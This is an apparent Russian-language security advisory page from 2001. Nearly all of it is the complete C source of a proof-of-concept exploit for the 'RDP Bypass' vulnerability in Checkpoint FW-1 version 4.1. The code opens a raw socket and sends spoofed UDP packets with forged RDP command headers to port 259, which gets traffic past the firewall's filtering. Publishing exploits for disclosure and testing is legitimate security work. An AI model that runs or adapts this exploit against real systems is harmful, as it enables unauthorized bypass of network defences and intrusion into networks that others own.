Security Lab

Эксплоит для "RDP Bypass Vulnerability"

Дата публикации:16.07.2001
Дата изменения:17.10.2006
Всего просмотров:3210
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

На прошлой неделе появилась информация о возможности подмены RDP пакетов в Checkpoint FW-1 Version 4.1, после чего возможен обход фильтрации. Написан долгожданный эксплоит реализующий эту возможность:



/*

Checkpoint FW-1 Version 4.1 "RDP Bypass Vulnerability" proof of concept

code

Copyright 2001 Jochen Bauer, Inside Security IT Consulting GmbH

<jtb@inside-security.de>

Compiled and tested on SuSE Linux 7.1

This program is for testing purposes only, any other use is prohibited! */



#include <stdio.h>

#include <netinet/ip.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <netinet/udp.h>

#include <string.h>

#include <stdlib.h>

#include <errno.h>

#include <sys/types.h>

#include <asm/types.h>



/*See $FWDIR/lib/crypt.def for the following definitions.*/ /*We set the highest bit, so that the RDP commands are */ /*not members of the sets RDPCRYPTF and RDPCRYPT_RESTARTF*/ #define RDP_PORT 259 /*RDP port*/ #define RDPCRYPT_RESTARTCMD 101|0x80000000

#define RDPCRYPTCMD 100|0x80000000

#define RDPUSERCMD 150|0x80000000

#define RDPSTATUSCMD 128|0x80000000



/*---------------Checksum calculation--------------------------------*/

unsigned short in_cksum(unsigned short *addr,int len)

{

register int nleft=len;

register unsigned short *w=addr;

register int sum=0;

unsigned short answer=0;



while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(u_char *)(&answer)=*(u_char *)w;

sum+=answer;

}

sum=(sum >> 16)+(sum & 0xffff);

sum+=(sum >> 16);

answer=~sum;

return(answer);

} /*----------------------------------------------------------------------*/



/*------------Send spoofed UDP packet-----------------------------------*/

int send_udp(int sfd,unsigned int src,unsigned short src_p,

unsigned int dst,unsigned short dst_p,char *buffer,int len)



{

struct iphdr ip_head;

struct udphdr udp_head;

struct sockaddr_in target;

char *packet;

int i;



struct udp_pseudo /*the udp pseudo header*/

{

unsigned int src_addr;

unsigned int dst_addr;

unsigned char dummy;

unsigned char proto;

unsigned short length;

} pseudohead;



struct help_checksum /*struct for checksum calculation*/

{

struct udp_pseudo pshd;

struct udphdr udphd;

} udp_chk_construct;



/*Prepare IP header*/

ip_head.ihl = 5; /*headerlength with no options*/

ip_head.version = 4;

ip_head.tos = 0;

ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+len);

ip_head.id = htons(30000 + (rand()%100));

ip_head.frag_off = 0;

ip_head.ttl = 255;

ip_head.protocol = IPPROTO_UDP;

ip_head.check = 0; /*Must be zero for checksum calculation*/

ip_head.saddr = src;

ip_head.daddr = dst;



ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct

iphdr));



/*Prepare UDP header*/

udp_head.source = htons(src_p);

udp_head.dest = htons(dst_p);

udp_head.len = htons(sizeof(struct udphdr)+len);

udp_head.check = 0;



/*Assemble structure for checksum calculation and calculate checksum*/ pseudohead.src_addr=ip_head.saddr;

pseudohead.dst_addr=ip_head.daddr;

pseudohead.dummy=0;

pseudohead.proto=ip_head.protocol;

pseudohead.length=htons(sizeof(struct udphdr)+len); udp_chk_construct.pshd=pseudohead;

udp_chk_construct.udphd=udp_head;

packet=malloc(sizeof(struct help_checksum)+len);

memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum));

/*pre-assemble packet for*/

memcpy(packet+sizeof(struct help_checksum),buffer,len);

/*checksum calculation*/

udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct

help_checksum)+len);

free(packet);



/*Assemble packet*/

packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len); memcpy(packet,(char *)&ip_head,sizeof(struct iphdr)); memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct

udphdr));

memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);



/*Send packet*/

target.sin_family = AF_INET;

target.sin_addr.s_addr= ip_head.daddr;

target.sin_port = udp_head.source;

i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+len,0,

(struct sockaddr *)&target,sizeof(struct

sockaddr_in));

free(packet);

if(i<0)

return(-1); /*Error*/

else

return(i); /*Return number of bytes sent*/

} /*---------------------------------------------------------------------*/



int main(int argc, char *argv[])

{

int i;

unsigned int source,target;

unsigned short int s_port,d_port;

char payload[]="abcdefg"; /*payload length must be a multiple of 4*/ char *data;



/*RDP header, refer to $FWDIR/lib/tcpip.def*/

struct rdp_hdr

{

unsigned int rdp_magic;

unsigned int rdp_cmd;

} rdp_head;



if(argv[1]==NULL || argv[2]==NULL || argv[3]==NULL)

{

printf("Usage: %s source_ip source_port dest_ip\n",argv[0]);

return(1);

}

else

{

source=inet_addr(argv[1]);

s_port=atoi(argv[2]);

target=inet_addr(argv[3]);

d_port=RDP_PORT;

}



/* the command number can be one of the following: */

/* RDPCRYPT_RESTARTCMD, RDPCRYPTCMD, RDPUSERCMD, RDPSTATUSCMD */ rdp_head.rdp_cmd=htonl(RDPCRYPT_RESTARTCMD);

rdp_head.rdp_magic=htonl(12345); /*seems to be irrelevant*/



/*Assemble fake RDP header and payload*/ data=malloc(sizeof(struct rdp_hdr)+strlen(payload)+1); memcpy(data,&rdp_head,sizeof(struct rdp_hdr)); memcpy(data+sizeof(struct rdp_hdr),payload,strlen(payload)+1);



if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/

{

perror("socket");

exit(1);

}

i=send_udp(i,source,s_port,target,d_port,data,sizeof(struct

rdp_hdr)+strlen(payload)+1);

if(i<0)

printf("Error, packet not sent\n");

else

printf("Sent %u bytes\n",i);

return(0);

}